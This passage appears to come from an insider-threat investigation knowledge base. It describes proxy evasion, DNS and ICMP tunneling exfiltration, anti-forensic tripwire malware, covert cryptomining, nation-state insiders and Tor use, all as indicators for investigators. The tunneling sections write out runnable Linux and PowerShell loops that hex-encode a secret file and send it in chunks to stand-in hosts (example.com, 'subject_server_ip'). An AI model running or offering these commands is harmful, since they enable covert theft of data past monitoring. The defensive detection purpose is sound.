NetFlow Analysis

A subject configures either their web browser or operating system to route HTTP and HTTPS traffic through a manually defined outbound proxy server. This action enables them to redirect web activity through an external node, effectively masking the true destination of network traffic and undermining key layers of enterprise monitoring and control.

By placing a proxy between their endpoint and the internet, the subject can obscure final destinations, bypass domain-based filtering, evade SSL inspection, and suppress logging artifacts that would otherwise be available to investigative teams. This behavior, when unsanctioned, is a hallmark of anti-forensic preparation—often signaling an intent to conceal exfiltration, contact unmonitored services, or test visibility boundaries.

While proxies are sometimes used for legitimate troubleshooting, research, or sandboxing purposes, their use outside approved configurations or infrastructure should be treated as an investigatory lead.

Technical Method

Both browsers and operating systems offer mechanisms to define proxy behavior. These configurations typically involve:

• Declaring a proxy server IP address or hostname (e.g., 198.51.100.7)
• Assigning a port (e.g., 8080, 3128)
• Specifying bypass rules for local or internal traffic (e.g., localhost, *.corp)

Once defined, the behavior is as follows:

• Outbound Traffic Routing: All HTTP and HTTPS traffic is redirected through the proxy server, often using tunneling methods (e.g., HTTP CONNECT).
• DNS Resolution Shift: The proxy, not the local device, resolves domain names—bypassing internal DNS logging and threat intelligence correlation.
• Destination Obfuscation: To enterprise firewalls, CASBs, and Secure Web Gateways, the endpoint appears to connect only to the proxy—not to actual external services.
• Encrypted Traffic Concealment: If the proxy does not participate in the organization’s SSL inspection chain, encrypted traffic remains opaque and unlogged.
• System-Level Impact: When configured at the OS level, the proxy may affect all applications—not just browsers—expanding the anti-forensic footprint to tools such as command-line utilities, development environments, or exfiltration scripts.

Proxy settings may be configured through user interfaces, system preferences, environment variables, or policy files—none of which necessarily require administrative privileges unless endpoint controls are in place.

This technique is especially potent in organizations with reliance on DNS logs, web filtering, or SSL interception as primary visibility mechanisms. It fractures investigative fidelity and should be escalated when observed in unauthorized contexts.

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

• A domain the subject controls or can use for DNS queries.
• A DNS server to receive and decode the DNS queries.

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

split -b 32 secret.txt.hex hexpart_

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

Prerequisites:

• A the subject you controls.
  A DNS server or a script on the subjects server to capture and decode the DNS queries.

Steps:
1. The subject converts the sensitive file to hex:

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

• The subject has access to a server that can receive and process ICMP packets.
• The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:

DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

A subject installs custom software or malware on an endpoint, potentially disguising it as a legitimate process. This software includes tripwire logic to monitor the system for signs of security activity.

The tripwire software monitors various aspects of the endpoint to detect potential investigations:

• Security Tool Detection: It scans running processes and monitors new files or services for signatures of known security tools, such as antivirus programs, forensic tools, and Endpoint Detection and Response (EDR) systems.
• File and System Access: It tracks access to critical files or system directories (e.g., system logs, registry entries) commonly accessed during security investigations. Attempts to open or read sensitive files can trigger an alert.
• Network Traffic Analysis: The software analyzes network traffic to identify unusual patterns, including connections to Security Operations Centers (SOC) or the blocking of command-and-control servers by network security controls.
• User and System Behavior: It observes system behavior and monitors logs (such as event logs) that indicate an investigation is in progress, such as switching to an administrative account or modifying security settings (e.g., enabling disk encryption, changing firewall rules).

Upon detecting security activity, the tripwire can initiate various evasive responses:

• Alert the Subject: It covertly sends an alert to an external server controlled by the subject, using common system tools (e.g., curl, wget, or HTTP requests).
• Modify Endpoint Behavior: It can terminate malicious processes, erase evidence (e.g., logs, browser history, specific files), or restore system and network configurations to conceal signs of tampering.

The subject develops a custom API that monitors specific activities, network traffic, and system changes within the target environment. The API could monitor HTTP/HTTPS requests directed at sensitive endpoints, track modifications to security group settings (such as firewalls or access policies), and identify administrative actions like changes to user accounts, data access requests, or logging configurations.

This tripwire API is embedded within various parts of the environment:

• Cloud Services: It hooks into serverless functions, containers, or virtual machines to monitor access and activity.
• Applications: It integrates into custom-built web applications to observe access to certain URLs, paths, or endpoints.
• Infrastructure Services: It monitors cloud management APIs (e.g., AWS, Azure, Google Cloud) for unusual activities indicative of an investigation.

Once deployed, the tripwire API continuously monitors network traffic, API calls, and system changes for indicators of an investigation. It looks for:

• Known Security Tools: Scanning for network traffic signatures from common security tools (like Nessus or nmap) or patterns associated with incident response teams.
• Unusual Access: Detecting attempts from IP ranges linked to internal security teams or cloud provider security operations centers.
• System Changes: Watching for actions typical of an investigation, such as new logging mechanisms, alterations to IAM roles, or the activation of cloud monitoring services.

The API can use whitelists for expected IP addresses or user accounts, triggering alerts if unexpected access occurs.

Upon detecting activity, the API tripwire can take immediate evasive actions:

• Alert the Subject: It sends covert alerts to an external server controlled by the subject, through an HTTP request, encrypted email, or messaging platform.
• Suspend Malicious Activity: If integrated into a malicious workflow, the API can halt ongoing data exfiltration or malware processes.
• Clean Up Evidence: It triggers scripts to delete logs, clear files, or reset system configurations to hinder forensic analysis.
• Feign Normalcy: It restores access controls and system settings to their default state, masking any signs of unusual activity.

The subject installs and operates unauthorized cryptocurrency mining software on organizational systems, leveraging compute, network, and energy resources for personal financial gain. This activity subverts authorized system use policies, degrades operational performance, increases attack surface, and introduces external control risks.

Characteristics

• Deploys CPU-intensive or GPU-intensive processes (e.g., xmrig, ethminer, phoenixminer, nicehash) on endpoints, servers, or cloud infrastructure without approval.
• May use containerized deployments (Docker), low-footprint mining scripts, browser-based JavaScript miners, or stealth binaries disguised as legitimate processes.
• Often configured to throttle resource usage during business hours to evade human and telemetry detection.
• Establishes persistent outbound network connections to mining pools (e.g., via Stratum mining protocol over TCP/SSL).
• Frequently disables system security features (e.g., Anti-Virus (AV)/Endpoint Detection & Response (EDR) agents, power-saving modes) to maintain uninterrupted mining sessions.
• Represents not only misuse of resources but also creates unauthorized outbound communication channels that bypass standard network controls.

Example Scenario

A subject installs a customized xmrig Monero mining binary onto under-monitored R&D servers by side-loading it via a USB device. The miner operates in "stealth mode," hiding its process name within legitimate system services and throttling CPU usage to 60% during business hours. Off-peak hours show 95% CPU utilization with persistent outbound TCP traffic to an external mining pool over a non-standard port. The mining operation remains active for six months, leading to significant compute degradation, unplanned electricity costs, and unmonitored external network connections that could facilitate broader compromise.

The subject is a current or former asset of a nation-state intelligence service, operating inside the organization with pre-existing loyalty to, or direct affiliation with, a foreign government. Unlike insiders who develop espionage motives post-employment, this subject is often inserted, recruited prior to hiring, or cultivated externally over time and then encouraged to seek access to a target organization.

Their motive is the advancement of strategic objectives on behalf of a foreign nation-state. These objectives may include extracting sensitive information, degrading operational resilience, manipulating internal systems or decisions, weakening public or partner trust, or embedding long-term access for future exploitation. Such subjects may be formal intelligence officers, contract operatives, ideological affiliates, or individuals acting under recruitment, coercion, or influence.

Example Scenarios:

• A subject recruited during university by a foreign security service secures a role in a telecommunications provider and enables covert surveillance access for state-level eavesdropping.
• A subject hired into a biopharmaceutical firm has pre-existing links to a state-sponsored “talent program” and transfers research data to affiliated institutions abroad via covert cloud channels.

The subject installs a browser capable of accessing anonymity networks, such as the Tor Browser (used for .onion sites), I2P Router Console, or Freenet, as part of preparation for covert research, anonymous communication, or unmonitored data exchange. This behavior may support future infringement by enabling non-attributable activity outside sanctioned IT controls.

Installation of the Tor Browser Bundle typically involves downloading a signed executable or compressed package from https://www.torproject.org, executing an installer that unpacks a portable browser (a custom-hardened Firefox variant), and launching start-tor-browser.exe—which spawns both the Tor daemon (tor.exe) and the browser instance (firefox.exe) in a sandboxed environment. Configuration files such as torrc may be modified to enable pluggable transports (e.g., obfs4, meek) designed to evade deep packet inspection (DPI) or proxy enforcement.

In environments with proxy filtering, the subject may attempt to chain Tor through bridge relays or VPNs, obfuscate traffic using SOCKS5 tunneling, or execute from non-standard directories (e.g., cloud-sync folders, external volumes). Some subjects bypass endpoint controls entirely by booting into live-operating systems (e.g., Tails, Whonix) which route all system traffic through Tor by default and leave minimal forensic artifacts on host storage.

This installation is rarely accidental and often coincides with other policy evasions or drift indicators. The presence of anonymizing tools—even in dormant form—warrants scrutiny as a preparatory indicator linked to potential data exfiltration, credential harvesting, or external coordination.